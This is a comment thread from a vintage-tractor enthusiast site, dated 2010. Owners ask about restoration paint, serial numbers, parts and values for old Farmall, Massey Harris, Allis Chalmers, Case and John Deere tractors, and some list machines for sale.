Jim Phillips wrote on Saturday, October 23, 2010 (PDT):I am restoring a 1938 F-20 with cast rear wheels and would appreciate knowing the correct silver color for the front and rear rims, the tractor is on rubber tires. Thanks, Jim
joseph henshaw wrote on Tuesday, October 19, 2010 (PDT):do you have engine parts cylinder head or engine for 1920 8/16 junior thanks
Robert Bertollini wrote on Tuesday, October 19, 2010 (PDT):I am looking for an operational magneto for a 1928 regular. Serial # 33498. Mag and control linkage was removed from the one that I have. I also would like to find control linkage. Any info would be greatly appreciated
David Printz wrote on Monday, October 18, 2010 (PDT):I have a 1951 Silver King Tractor model 1942,my Dad bought new. need paint code,decals left head light any other information. Thank-You
James Tatum wrote on Tuesday, October 12, 2010 (PDT):I have finished my 1948 D Leader Tractor. I will get to the lights this winter. I need fender s, I have one that can be restored and I guess I will have to fabricate the other one if I can t find one. It was in a tractor show in Denver NC last year and we are going again this year Oct. 18th.
John wrote on Monday, October 11, 2010 (PDT):I have a 45 B that I recently restored and am wondering what decals are correct. B or B Cultivision Which ones are correct and what year were they used
carl wrote on Monday, October 11, 2010 (PDT):i have a 1952ish case model#23 ser no4096631 and need a engine please help me.......call me at 813-764-4557 or e-mail me ......
Jim Huber wrote on Friday, October 08, 2010 (PDT):we have a Pacer and a single bottom rear mounted plow. we seem to be missing the hardware at the front of the plow beam. The bracket or linkage is the part that pulls the plow. any one with digital photos would really appreciate receiving them to get us started. thanks in advance, Sincerely, Jim
Joseph Hauck wrote on Thursday, October 07, 2010 (PDT):My Dad had purchased a 1942 massey harris model 81 row crop when it was a couple years old and i am restoring it right now, it would be 4 generations in our family if i give it to my son, My dad originaly purchased it for his dad to get him away from the horses. Its is for sure a black engine always has been since new.
J. Hitt wrote on Wednesday, October 06, 2010 (PDT):The Abraham Baldwin Agricultural College AET club is building a new pulling tractor based on the AC220. It will replace Cracker Jack our old 190XT pulling tractor
Terry l. Mowdy wrote on Wednesday, October 06, 2010 (PDT):my grandpa had a massey harris 81 but dont remember what year model. but it had two metal planter buckets one on each side.and had lttle plows underneath the tractor with little sweeps on them.if anyone has any pictures of one of theese tractors could send to my email i would appriciate it thanks a lot.
Bob wrote on Wednesday, September 29, 2010 (PDT):I am looking for parts for 8-16 I need a radeator tower , fuel tank or demetions, shgop manual thanks Bob
jerry wrote on Tuesday, September 28, 2010 (PDT): I have a VAI with a herny backhoe and loader. If anyone knows what year model it mite be i would like to know.
brandon wrote on Tuesday, September 28, 2010 (PDT):i am refurbishing an allis chalmers g for an ffa project, it is pretty neat. i have a question though, did the 1954 g come with hydrolics or not
Willie Wages wrote on Friday, September 24, 2010 (PDT):I picked up a junk tractor that looks a lot like the f-14. How can tell what it is I don t have a genuine concern with tractors but, since it s so old maybe someone can use a part off it before I junk it
Jim Broughton wrote on Wednesday, September 22, 2010 (PDT):Loren; Look on the base of the steering column, next to the radiator...the serial number should be on the cast iron steering housing. 1948 numbers are from 11348 to 57830 49 stsarted with 57831 to 99535. Hope this helps. Jim B.
j.l. DIEGO foraker wrote on Saturday, September 18, 2010 (PDT):I have a 20 with smaller tires on the rear. what size was standard where is the serial # located are engines available are decals available paint hope you can help me,or know someone who can.thanks for your help. DIEGO
Windy wrote on Friday, September 17, 2010 (PDT):My dad is looking for a rear rim for a massey harris 81. Does anybody know where I can look for one at Thanks so much
Todd wrote on Friday, September 17, 2010 (PDT):Mary,If you want to know the year.give me a call i ll look it up in my farmall bible.715 797 2702 wisconsin
C. Rich wrote on Friday, September 17, 2010 (PDT):I have a 1935 Massey Harris on rubber , I believe overhead valve engine, on rubber Had been restored when put in barn a few years ago. Can anyone tell me what it is worth
Bob Loesch wrote on Monday, September 13, 2010 (PDT):can anyone tell me howw to get e-mail and or addresses so as to contact others o n the fourm thanks
BOB L wrote on Sunday, September 12, 2010 (PDT):IAM LOOKING FOR PARTS FOR IHC 8-16 PLEASE SEND ME AN E-MAIL WITH YOUR ADDRESS ON IT AND PARTS LIST THANKS BOB E-MAIL RLOESCH at CHARTERMI.NET
John Morris wrote on Sunday, September 12, 2010 (PDT):I have a what I belive to be a 1947 VAI. The serial number is VAI 5153758. It has been stored under cover for years but it stated right up and it runs great. All I had to do was clean the points and put in new gas. It doesn t have a side pulley or eagle hitch, but it does have a PTO. I am thinking of selling it for around 800. Can someone tell me if I have the year right and if this sounds reasonable for price Call me if you want 1.360.601.7826
Loren Miller wrote on Wednesday, September 08, 2010 (PDT):My friend has what we were told is a 1948. Is there anywhere we can confirm the year from the serial number Sure would appreciate any help. He also needs to rebuild the carb on it. Where can we gat a kit Thank you.
Mary wrote on Monday, September 06, 2010 (PDT):Have a Farmall B cultivision with s#8638. This # has been in the comments but I have not seen where the year of production has been given. It has a swing drawbar. Any informtion would be helpful. year--value runs but has been in a shed for 20 years
T.cuddy wrote on Monday, September 06, 2010 (PDT):I have a allis g tractor. I am trying to find the year to it. but I can t find the codes on the allis g. Can any body tell me where to look
Bob L wrote on Saturday, September 04, 2010 (PDT):looking for info and parts for ihc 8-16 Just got one don t know much about them would like to restore so any and all info would be helpful thanks Bob
Jim Davis wrote on Friday, September 03, 2010 (PDT):What years or year was the 12 speed with 3 reverse gears offered on the 8N I know in 1952 because I used one on the farm and it was a dandy farm tool could pull anything you could keep the front end down with weight.
john tryggeseth wrote on Saturday, August 28, 2010 (PDT):for sale F12 Studebacker engine on steel used for logging. F 20 Ser. 43808 on rubber, 2 mowers corn planters 2 other equipment Roadgrader, hayloader one single cell jail Warroad Mn. fordge, plus misc. 218-296-1021.
J. Cambron wrote on Tuesday, August 24, 2010 (PDT):I am looking for a John Deere LA that is in fair to excellent shape. I would like to purchase one in the Texas Panhanle area.
Ron wrote on Saturday, August 21, 2010 (PDT):my name is ron and i was wondering if any one can tell me aboiut the tractor i bought the only number was on a plate at the left side of the moter and it reads mfc 149 d 10831 is this a massey harris or a massey ferguson i can send pictures
steve A wrote on Monday, August 16, 2010 (PDT):does any one know if you can use a latter model v8 for conversion
steve A wrote on Monday, August 16, 2010 (PDT):teeter how did you do the conversion so cheap
BRENDA LAU wrote on Monday, August 16, 2010 (PDT):MY HUSBADN JUST ACQUIRED A MASSEY HARRIS 1951 TRACTOR. I WOULD LOVE TO FIND OUT MORE INFORMATION ABOUT THE TRACTOE. HE WOULD LIKE TO RESOTRE IT. IT RUNS GREAT. THANK YOU
James Murff wrote on Tuesday, August 10, 2010 (PDT):I run a scrap yard in Huntsville, Texas and someone has brought in a Farmall Cub. Not sure of the year model. I do know that it has hand brakes. It has no seat but I think everthing else is there. I hate to scrap these old machines. If anyone is looking for a Cub, I will let it go cheap. Call me and I will send you some pictures. 281-468-2406
Bernie Abrahamson wrote on Tuesday, August 10, 2010 (PDT):Did the 1938 Farmall tractor have cleats on the wheels
TED OSBORNE wrote on Monday, August 09, 2010 (PDT):Ijust have one thing to say. mine is now looking like a new one since i painted and put all new decals on. .. SO , HOW MUCH CAN I SELL IT FOR
J.F.Parker wrote on Friday, August 06, 2010 (PDT):It was not clear in the picture as to what were the words painted on the tractor. Thank you.
Doug King wrote on Tuesday, August 03, 2010 (PDT): I have a hand-start H with fresh rear tires and most of the JD parts to add an electrical system. It has good sheet metal, but is unrestored. It was running when I got it 30+ years ago. I did a ring and valve job on it but didn t allow enough valve stem clearance. It needs another valve job to run.
dennis fulford jr wrote on Friday, July 30, 2010 (PDT):have a m-f 65 diesel sndw703411 ser#;engine #2974698 four wheels can be used for two rowe but i use mostley one rowe, bush hog and some time harrow very good on diesel tires are good body is good needs new paint think has original would like to fix it up to show but am 84 it run very good had it about 15 years make me offer waycross ga 31503 806 waring st. apt #62
Jr. Roby wrote on Thursday, July 29, 2010 (PDT):what color is a 1948 g supposed to be
Brian Perry wrote on Monday, July 26, 2010 (PDT):I m trying to wire my Farmall H headlights. When starting the tractor they turn on but once the tractor is started they go out even though the switch is still on. Any ideas as to what I need to do to make them work while the tractor is running
Brian Perry wrote on Monday, July 26, 2010 (PDT):I m trying to wire my Farmall H headlights. When starting the tractor they turn on but once the tractor is started they go out even though the switch is still on. Any ideas as to what I need to do to make them work while the tractor is running
Terry Gingerich wrote on Monday, July 26, 2010 (PDT):I have a 1954 model 40 and burnt the wireing up on it. Would like to know the color of the wires used and the wiring diagram but can t seem to find this info anywhere. I have the parts manual. The service manual. And the shop manual but this info still eludes me. Does anyone in the whole wide world have one of these with the time to help. Thanks
Barb wrote on Sunday, July 25, 2010 (PDT):We have a G tractor with snow plow and a second blade, serial #G10287. Would like to sell as it belonged to my brother who just passed away. Do not know what year it is or any idea of the value. He got it started, but it would not stay running. It was given to him by a cousin of my Mom who may have been the original owner.
JC TREVINO wrote on Saturday, July 24, 2010 (PDT):DOES ANYBODY KNOW WHAT KIND OF FLUID TO PUT IN TRANSMISSION CASE ON 1940 FARMALL B 80W90
mrf1002u wrote on Friday, July 23, 2010 (PDT):To philip morrissette re; your L tires...contact Harlan Wilson at Wilson Tire 740 625-6894. I think they were going to start producing that size tire again.
Bob Abbott wrote on Thursday, July 22, 2010 (PDT):I have a VAC case tractor, would like to know the difference between a VAC and a VA Case tractor.
Tom Short wrote on Thursday, July 22, 2010 (PDT):I have a 460 gas that my dad bought about 10 years ago and restored. The tractor runs great and has everything original on it. My dad added a 3-point hitch to the tractor to be able to pull some additional implements but we still have the original swinging hitch. There is no better tractor for raking hay! I am looking to sell the tractor as my dad has passed away. I am in the Nashville, TN area. I can be reached at 615-972-2956 for further information.
Dan Peek wrote on Wednesday, July 21, 2010 (PDT):I grew up in western Colo. on a ranch on Bone Mesa, Delta. We had two Ms, one a 47 and the other a 51 or 52. Also had an LA Case, VA Case and a 49 0r 50 Ferguson. Later, we bought an MTA 400. We put up 1250 to 1400 tons of alfalfa and grass hay every year as well as 30 acres of corn silage, 20 acres of oats also. In our spare time, we did custom haying with swathers and a 55T International Baler behind one the Ms. That probably accounted for another 3 to 5 thousand tons of additionally although we did not pick up and haul their hay. We all have hundreds of hours on those Ms and they never failed to start and run whether it was -25 or plus 99 degrees. We pulled plows, discs, harrows, balers-ran hay grinders, cornchoppers, you nameit.
PAUL W GILLULY RI. wrote on Monday, July 12, 2010 (PDT):TRYING TO ADAPT ELECTRONIC IGNITION TO A 1952 ALLIS CHALMERS I THINK ITS A WD BUT MAY BE WC HOW DO I FIND THE DIFFERENCE THIS ONE HAS A MAGNITO WHERE IS THE SERIAL # AND MODEL
tractor man wrote on Saturday, July 10, 2010 (PDT):where can I get info on decal placement for my H I just bought a complete set with all the stickers but dont lnow where they go! also what is the siite where I can chk the serial # to find out her age
James C. Wyatt wrote on Tuesday, July 06, 2010 (PDT):I have a 1947 case vai tractor, and i want to sell it but i don t know how much to ask for the tractor. thank you Jim
Larry Morris wrote on Tuesday, July 06, 2010 (PDT):I am wanting a OC3 oliver crawler running or not, located in midwest. I am in Ks.
will wrote on Friday, July 02, 2010 (PDT):I got my 550 about a yr, ago, my uncle got one about 6yrs ago, and i fell in love with his. thats what made me get my own. The 550 is just the perfict size tractor for me,i have a lot of trees on my land,so the lower profile of the tractor works good, has all the power i need, for brush cutting,diskings food plots, bring in fire wood, etc. oliver 550 s forever.
Steve Hargis wrote on Wednesday, June 30, 2010 (PDT):After restoring a 1944 LA back to expo condition , I wrote to John deere and ask when and where this tractor was shipped and to whom To my surprise it has stayed in East Tennessee since being shipped to Knoxville , and after doing some research , I found that I was the ninth owner .
Paul Kaminski wrote on Wednesday, June 30, 2010 (PDT):I have a VAH without serial tag. Stamped engine block # is 68-F04338. Can anybody tell me what year the tractor is Phone 715-342-0918
derick wrote on Tuesday, June 29, 2010 (PDT):My buddy has a 8n and it quit on him and won t start again saysbit has spark a fuel he even tried starting fluid won t start. I don t have the time to go out and c heck it out I wonder if weak spark or compression it could be several th ings any help would be appreciated
Tim Anderson wrote on Tuesday, June 29, 2010 (PDT):I owen an Oliver oc-46-3g that starts but only run s for a few seconds.I have cleaned carb set points and have135 lbs of compression in all three cylinders.Does anyone know about this problem
Eric wrote on Monday, June 28, 2010 (PDT):About 1980, my Uncle sold the family 8-16 that my grandfather purchased new. My Uncle lived in Buckly, Illinois and I believe he sold it to a gentleman near Rockford, Illinois. I would appreciate any information anyone might have. I would like to re-acquire the tractor if I can find it. Thanks, Eric
phil wrote on Sunday, June 27, 2010 (PDT):double checking fluid for case vai in where shifter mounts need info thanks
Denny Spath wrote on Sunday, June 27, 2010 (PDT):just got an M . need to know where you can by a 3 point system and has anyone worked on the pto. my pto lever has come off at the nut/bolt on the case. can t find much info on the pto. thanks
Mike Kieliszewski wrote on Saturday, June 26, 2010 (PDT):I own a 1929 1530 rated 2236, about 15 years ago we were at a show with a dyno, they rated the power left on the belt of 34hp. hope i have that much when i get that old. it has an enclosed pickering flyball governor installed which must have been an option as it was on an old saw mill operation in the area. it is on rubber newer but not painted. water pump leaks a little and crack in exhaust manifold stored indoors. it starts faithfully on the third flip. Thinking on selling it not sure where to start thinking 2500.00. There is some sentimentalvalue as my father-n- law was the person who brouht it to life and grew up on his type of tractor. Thanks!! located northern michigan
ROD WAGNER wrote on Friday, June 25, 2010 (PDT):I have a 1938 John Deere B that needs restoration. Any ideas on how to sell it or how much it may be worth
Glen wrote on Monday, June 21, 2010 (PDT):I am looking for inner pinion bearing cone listed in the book page42 ...#27 posted on page. If anyone knows where to find these parts.
Todd wrote on Thursday, June 17, 2010 (PDT):I have owned my b for over ten years.It has a 6ft artsway deck.Has always run great.This spring i found alot of water in the oil.I took off the head.Gasket and head look great.Can t see what the problem is.Any gear heads out their have any ideas
Tabitha wrote on Tuesday, June 15, 2010 (PDT):I have a Massey Harris 101 Super, looking for the original paint codes for the sheet metal, wheels, AND motor-- this is the hardest part for me to find. Does anyone know if the original motor color on these tractors was black or MH red or grey Any help would be appreciated.
Bill Tabish wrote on Tuesday, June 15, 2010 (PDT):Looking for someone that retores tractors in Sacramento area. 140 farmall
Murray Saunders wrote on Monday, June 14, 2010 (PDT):what voltage is the battery on a 1948 Pony Started to rebuild one but not sure of the voltage
Jeri Nieman wrote on Monday, June 14, 2010 (PDT):We have a JD L tractor that still runs and has been housed always. Not sure what year it was made but a man came by here today and would like to buy it, however, I do not know what it is worth. Does anyone have any idea what price I should put on it I would be willing to part with it. Please advise.........
Chuck Shepard wrote on Monday, June 14, 2010 (PDT):I have a case tractor that I am trying to identify,looks like a VAS. Where is the ID plate for this tractor. We have beeunable to find it. I can make photos of it if this would help.
bart hough wrote on Friday, June 11, 2010 (PDT):I wou I would like to join the silver king club, any information would be helpful. thank you
Bart A. Besley wrote on Thursday, June 10, 2010 (PDT): I have a Farmall AV, High Clearance, that I would like to sell. It has an attachment on the rear for planting schrubs etc. I bought two from an old nursury and haven t had a chance to work on this one yet. If interested you can contact me an I will get some pictures to send you and get more info for you.
Jim Hurley wrote on Thursday, June 03, 2010 (PDT):I have a 1957 Cub that was my Grandfathers. It appears that there was several things that were in need of repair since it had sat in the barn since 1990 till I was able to rescue it. My DAD had it and was going to sell it. I offered to buy it and he gave it to me. One of the areas that needs attention is the govenor. I have an IT manual and have been reading up on it. I can get the tractor started but there seems to be no power when I attempt to throtle up. I have a 55 Cub as well and it appears that I can throtle up the 55. I am wondering if something has come apart in the governor on the 57. Anyone have a words of wisdom I would like to get the 57 running again. My wife and I own about 6 acres. I have the cultivators on the 55 and plan to use the 57 for the sickle bar mower. Thank you, please help ..... grass is growing
paul huefner wrote on Tuesday, June 01, 2010 (PDT):I have a farmall BN 1941 ser#19768 on id plate would like to find shutter control rod assm for radiator shutter,have unit in front of rad.
Homer Mullins wrote on Sunday, May 30, 2010 (PDT):I have a 1948 Gibson Model D for sale. New rear tires, good condition, runs great. I have no other equipment with it. If interested, please email me at wjboyce at windstream.net, I have pictures.
Joe Craig wrote on Saturday, May 29, 2010 (PDT):I just bought a Farmall Cub. No one knows what year it was manafactured. Is there a way to determine year from serial number I am having the starter rebuilt and was advised to keep it 6 volts. The tractor has been converted to 12 volts. Any advice
michael painter wrote on Thursday, May 20, 2010 (PDT):I m trying to locate a T-20 that came from the state of California had a brass plate on it and a rear pto , painted dark green with a brass fire extinguisure, with excellent undercarriage, but only about 45% grouser shoe track life left. Came from Cali. then went to Defuniac Springs, Fl. and then was traded for a running Caterpillar D-6 generator/engine up in/near Virginia ... sure would like to find it and purchase it or any other T-20 that is in running condition ... Thanks for any leads/help ...
Pieter Basson wrote on Saturday, May 15, 2010 (PDT):i have a k44 and i dont know which moddel it is can somebody help me.
roy w sauder wrote on Friday, May 14, 2010 (PDT):It sure ain t john deere if it has a front crank start that I know of. I have a off frame restored jd model R in mint condition that I would condsider selling or trading 308-262-0179.
Jim Whitehead wrote on Saturday, May 08, 2010 (PDT):Own a 49 Massey Harris Pony- Is there anyone out there that has a sickle bar mower for this tractor and would care to part with this for a fair price Maybe you might have some other attachments that you are looking to sell off Please contact me at the above e-mail Thanks Again!
Bob Munsch wrote on Friday, May 07, 2010 (PDT):I have a tractor to sell; Massey Harris Ser# 270848 / 101SR can someone tell me the year of this tractor
Joe McElwain wrote on Thursday, May 06, 2010 (PDT):I have a 1956 Farmall 560 Hi-Rise Tractor, it s in great shape and is a tractor we used for shatter cane and has a front mounted hydraulic 8 row weed wiper. We had it in storage all the time for many years. Where can I find an auction where other tall ones are sold. It needs to be sold as I o longer farm due to health It s in Blue Springs mo. Sincerely
Rob Armstrong wrote on Tuesday, May 04, 2010 (PDT):My Dad has an old Allia Model G with several Attachments,runs like a charm, although the cluth has stuck while parked for long periods ...any pointers how to free it and also what is the value , considering selling it.....thanks Rob
Shawn wrote on Tuesday, May 04, 2010 (PDT):My friend has a Super M and we re starting a small farm with him. The tractor needs work,like restoration and we need equipment help. Anyone know where to get parts for it Also we have a plow that wont work right, anyone know where to get parts for it in western PA
Robert Phelps wrote on Tuesday, May 04, 2010 (PDT):For Sale 300 IH Utility, TA,Clutch,Power Steering,PTO,Hydr loader work. Tac 1221 Hr, Serial#16793, Eng C-169 excelent condition.Mower,blade available 80 miles from Chicago IL call 815-882-2467
Alton Ponto wrote on Sunday, May 02, 2010 (PDT):I have a John Deere L that I bought in great working condition in the late 1960 s. We repainted it and it still runs and looks great. There s also a full cultivator set and original manuals. I did put new original style tires on the tractor. I m nearly 80 now and would like to sell it. What s it worth
Jr. Roby wrote on Sunday, May 02, 2010 (PDT):I am working on a 1949 g i need an instr.panel. thanks
john petty wrote on Saturday, May 01, 2010 (PDT):I have a farmall 400.it has a 12 v battery does that mean it is a negitive ground or a positive ground ...does anyone know...please help
Bob Moyer wrote on Thursday, April 29, 2010 (PDT):I just finished restoring my 1954 G serial# g28611.My father bought his first one in 1948 along with plow,corn planter,cultivator,snow plow,furrow bar.He traded it ih 1954 for a new one with hydraulic lift and a set of 3 gang mowers which sat underneath. We replaced ignition system,clutch,pressure plate.brakes,oil seals on transmison and put on new paint and decales.I ll have to say it really looks and runs good. We use it on Sat.at our BBQ pit stand.Happy to talk about model G
jesse wrote on Wednesday, April 28, 2010 (PDT):im looking to buy a 1939 farmall A can a 3 point hitch be installed on them I wasnt sure if they were equiped with hydraulics back then. thank you
Bill Wagner wrote on Monday, April 26, 2010 (PDT):When overhauling my 560 diesel I used a Dremel tool to grind a slot down the sleeve to remove it. It worked great.
philip morrissette wrote on Sunday, April 25, 2010 (PDT):i got a 39 jdl and totaly restored it except the rear tires. can t find a set of 7.50x22 tires anyware.a year or two ago firestone had some available but no more. miller antique tire co. said they can t get that size anymore either. where on earth can i get a pair new or good used
Carolyn Hokett wrote on Thursday, April 22, 2010 (PDT):We have a 1947 Case VAO and would love to find the tree sheilds to fit this tractor. My husband has restored -his tractor and we take it around to all the shows. Phone 580-726-2095 Thanks
Elmo Hinkle wrote on Sunday, April 18, 2010 (PDT):My father pirchased a Farmall Super A used.it is a 1954 model.he used it on his small acerage plus doing custom mowing and garden tilling.it came with a two bottom plow and handled it very well.after he passed away it was used very little for several years.I had it put in good mechanical shape and painted with new decals.it is a very nice looking piece of equipment.I will pass it on to my son and grandson.
jerry wrote on Sunday, April 18, 2010 (PDT):i have a brand new set never been used cultivators for a g ac i will sell. 450.00 call me at 704-791-4669
Chuck Sittler wrote on Saturday, April 17, 2010 (PDT):You can see my my email that I like John Deeres and Harley s, however, today I bought a Oliver 70 that has been restored and am extremely proud of it.....first Oliver, not wanting to bore anyone, but sure looking forward to learning more about this tractor. I have heard that they have square gears in the tranny and are noisy Does anyone have any comments Thanks.
Russell Cmejla wrote on Tuesday, April 13, 2010 (PDT):I have a chance to get a 1958 AC D17 which spun the rear crankshaft bearing long ago. Does anyone in AC land think this can be repaired Any experience in this area Earlier comments say offer 500 tops in this condition. I remember how this D17 pulled a four bottom plow and would growl when the pull got tough. Please help me on this decision.
April Banton wrote on Monday, April 12, 2010 (PDT):My father in-law just purchased a miniature Ford 8N tractor not sure of year . I cannot find any information on it. Is there anywhere I can go to get info on it.
Austin Smith wrote on Saturday, April 10, 2010 (PDT):i know if you bore the cylinders out to 4 inches rather tahn the 3.875 the M had that should make it the same motor as the super M
Norm wrote on Tuesday, April 06, 2010 (PDT):I have a 1913-1914 8/16 IHC that runs and is original however i would like to know what the value is before I get to extensive into the reno. Thanks Norm
ronald haney wrote on Sunday, April 04, 2010 (PDT):is there anyone out there that can tell me the horse power of a 1948 ih farmall h tractor with tricycle front end also what is the horsepower of a 1958 ih utility 350 with t/amp,,, my brother in law has the h i own the 350 utility we both want to purchase pto driven tillers and no one seems to know which tiller our tractors will handle,,,,the tillers come in 4-5 and 6 foot versions 4 foot requires 20-35 hp,,,5 foot requires 25-40 hp and the 6 foot requires 35-50 horse i ve tried searching so many sights i am going cross eyed,,,it would sure help if some one could answer this and i sure would appreciate thanks RON
jack boudreau wrote on Saturday, April 03, 2010 (PDT):jack. i have a 1954cockshutt 4o delux 6 cylinder model.i hade it a long time i rebuiled it in 1978.took desel engine out put a 250 chev engine well .I had a barn fire . not good .i could save is my cockskut .now iam restoring pltting a 292 engine sans blasting patnting restoring my tractor.looking for parts. seals for the brage drums right and left in the transmission.housing .better then that i would bye 1 for parts.40 delux model 1954.call if you can help me 902 761 2779 jack
bill bothof wrote on Saturday, April 03, 2010 (PDT):i have a 1948 g restored that my dad gave me, along with some equipment. he is the one who restored it and then passed away, i love it and love to show it off at show s and parades ..it also got me into allis and i bought a 50 b that i want to restore..i ll send in the serial # on the g and will call the number to find out about the g gathering in al. sound s like a great time...
Gary Lentz wrote on Wednesday, March 31, 2010 (PDT):My grandfather, Athol Lentz,Sr owned a Farmall A in Grove,OK when we moved to the farm in 1950. I learned to cultivate with it when I was not 8 yrs old. My father, Gerster may have sold the tractor. Sure wish I knew where it went.
Liz wrote on Wednesday, March 31, 2010 (PDT):A little info. on the LA Case tractor from the above entry; My dad passed away last June at the age of 76. He had a LA Case tractor that he was going to restore but never made it around to doing so. As far as we know it;s ; A tractor that pulled a grator, It granks on gas will run on fuel, It has a hand crank on the front, or electric start and a magnito in it. I just know that my dad would not have wanted to see this go to a junk yard. I can get pictures if needed. Thanks Liz
Andy Barendregt wrote on Monday, March 29, 2010 (PDT):Have 47 8n here with 3 point hitch anyone if i can put external hydrulicks on this baby And where do i hook in
donnie owens wrote on Sunday, March 28, 2010 (PDT):i have a mccormick farmall model b with bushhog serial number-f.a.b 220271 made in u.s.a by international harvester co. chicago,il 1540 r.p.m max idle speed my number is 817-477-7209
donnie owens wrote on Sunday, March 28, 2010 (PDT):i have a mccormick farmall model b with bushhog serial number-f.a.b 220271 made in u.s.a by international harvester co. chicago,il 1540 r.p.m max idle speed
LARRY, wrote on Saturday, March 27, 2010 (PDT):I have a 9n ford tractor and would like to convert to 12volt. I need wiring diagram and how to mount the alternator.Can t aford to by a kit. THANKS FOR ANY HELP.
Richard Williamson wrote on Wednesday, March 24, 2010 (PDT):Looking for 1947 b in Nebr.or upper midwest area prefer swing drawbar and original grew up on this tractor in the hayfields and even drove it to grade school 1-402-893-3687
Jeremy wrote on Wednesday, March 24, 2010 (PDT):I have a 1957 MH 555 propane. Tractor was working perfect and now reverse gear won t engage and first gear doesn t work. Took the covers off and we can t find anything out of place in the transmission or rearend. Had a tractor mechanic look it over and he gave up. Any suggestions would be appreciated.
Sam Magnuson wrote on Wednesday, March 24, 2010 (PDT):I Have a I-14, but am missing the Throttle control assembly, can anyone help. Thanks Sam Magnuson
Kay wrote on Wednesday, March 24, 2010 (PDT):My Mom and Dad moved to Yuma county from Republic county Kansas in June of 1938. He bought a Farmall F-20 tractor that same year. Whether it was new or used I don t know. The banker allowed the loan to buy this tractor on Dad s ability to teach school and that last year of teaching was used as the collateral for the loan.
william wadle wrote on Saturday, March 20, 2010 (PDT):HI i have a mh 81rc my grandpa bought new in 1941. i have the orig.cultivator that was on it. i want to restore it.but iam not sure where to start. i need the two tool bar braces that hook on the front of tractor and go to ends of tool bar. any help please. michigan
Paul Rypinski wrote on Saturday, March 20, 2010 (PDT):I purchased a 8n with a six cylinder engine. IT has Ford Industrial tag with serial number on it. I am looking to find out if this is a Funk conversion or something else Also any idea where to buy engine parts Im also in need of the hood extension piece. THX PAUL nathanryp at sbcglobal.net
James Vaughn wrote on Friday, March 19, 2010 (PDT):I bought what I think is a Dexta about 3 weeks ago. Have only used it for bushogging so far. Runs good and the lift works great. I have to give it a shot of either to crank it though. A mechanic told me that the 3 cly. Perkins should have a button near or on the injector pump. Before cranking, this should be activated, and it allows more fuel for starting. I can t find the button . Also, I need to know where to find the ser. number. That may help me find out the year, etc. Any help or advice is appericiated.
Liam Hoof wrote on Tuesday, March 16, 2010 (PDT):Original message; Bill Heather wrote on Sunday, January 24, 2010 PST ; I recently purchased a 22-36 McCormick Deering and would like to know where I can find a list of serial #s so that I can tell which year mine is. The regular McCormick Deering sites that I have been to do not carry the serial #s for these models My father has a book containing information about the McCormick-Deering/International 15-30 s and 22-36 s for serial numbers and years if you put on what year or serial number yours is then I could probably find out. We also have a spare 15-30 exhaust manifold that my father could sell, but we live in England so it would be hard to send it to other countries unless people are willing to come over to England
Liam Hoof wrote on Tuesday, March 16, 2010 (PDT):Original message; Redfan wrote on Sunday, June 13, 1999 PDT ; Have just picked up a 22-36 in fairly neglected state. Needs a lot of work. 2 questions, Did they all have the E4-A Magneto Was the Belt Pulley housing the same as the 15-30. It s a 1931 Model Only the early 22-36 s had E4-A magnetos, they started using other ones sometime during the 30 s but I forgot which ones. And the 15-30 and 22-36 had different belt pulley housings.You can tell if you look at a belt pulley housing on a 15-30 and 22-36 by looking at the opposite side of the belt pulley position, wheretake out the pulley shaft, the plate bolted on the 15-30 will be round and on a 22-36 the plate will be square. That is how you tell the difference on the outside.
Liiam Hoof wrote on Tuesday, March 16, 2010 (PDT):Hello, me and my father are restoring a 1929 international 22-36 but we are having to use a 1931 engine which is ever so slightly modified, which is that there is an extra lubricating oil pipe on the side where the oil filter and magneto are. At the moment we are in need of either a metal plating bowl to hold oil and brackets for our air cleaner or a complete air cleaner altogether and also a rocker cover.
Joey A. wrote on Sunday, March 14, 2010 (PDT):I recently bought a Farmall A tractor. It is not a high rise just regular. I am working on restoring it. I was wondering if anyone could tell me where I can find detailed pictures or photographs of the A model so I can see what my tractor orginally looked like. I can tell some parts are missing and others have been modified. If someone could help me with this it would be greatly appraciated. Thanks
Michael Buffaloe wrote on Saturday, March 13, 2010 (PST):I am located in Wake County, NC near Raleigh. My daddy used to have a 53 or so Super MD that I d love to locate. It was used when he bought it. We used to refer to her as The Big Tractor ! She was strong!! We would pull 4 - 14 plows with it. I have broke many of an acre with it. After I bought an IH 674 in 80, my mother sold it in the early - mid 80 s. Several years later, the fellow that bought it traded it for a John Deere at Revels Tractor Co. in Fuquay-Varina, NC. I know this is a real long-shot, but would anyone out there maybe have bought a Super MD from Revels in the later 80 s or around 90 Contact me and give a description. I would love to see it! This may be in Wake, Johnston, Harnett Co s. or somewhere close by.
Philip Long wrote on Saturday, March 13, 2010 (PST):I have a 1951 Oliver 66 that I rescued out of a fence row 25 years ago, completely overhauled the engine, 3 3/4 M Ws milled the head , installed a hydraulic system, and 12 volt system, 13.6X38 tires. It showed 42 hp on a dyno, runs real good. Still use it on 7 ft brush cutter to mow water ways and road banks. .
Scott Wiens wrote on Saturday, March 13, 2010 (PST): I am getting into vintage tractors and my dad had a 44. Was wondering as I was told he ha a 44 with 6 cylinders When I search for one I have never found one. Please let me know if there ever was such a size. It had a narror front as he used it to have a mounted corn picker. Thanks Scott
steve simons wrote on Thursday, March 11, 2010 (PST):I am looking for an exhaust manifold and the shaft that runs from the magniti=o to the water pump for a 49 uts. Anyone help me please steve 360-683-8217
Don Johansen wrote on Tuesday, March 09, 2010 (PST):I purchased a 54 vai last year ser,# 601#### managed to obtain the build card on it. Originally built for the Mn. hwy dept. starts and runs nice but geared pretty high for ground work and brush mowing. Has eagle hitch pto and loader that has had more repairs to than I can count
Dale Degner wrote on Monday, March 08, 2010 (PST):I have a 1939 Hart-Parr my grandad bought new. still runs but needs painted and tires. I do need a few parts to finish it and have some extra parts. I have no idea what color scheme the tractors had back then as I have not found any pictures of any reastored. I know there is an Oliver club somewhere in Canada but I live in Iowa. Any info I can get will be helpfull. Thanks!
Greg Witcher wrote on Monday, March 08, 2010 (PST):1946 Massey Harris 101 Junior - Twin Power looking for information and manual.
John Little Axe wrote on Sunday, March 07, 2010 (PST):I have a massey harris 44 lp special, it runs fine but has started to have a lowerend knock when pulling a heavy load what can cause this it also needs a paint job, and gas tank. The tractor was gas, but somewhere in time was converted to propane, it runs fine has lots of power but is getting worn. What are these worth
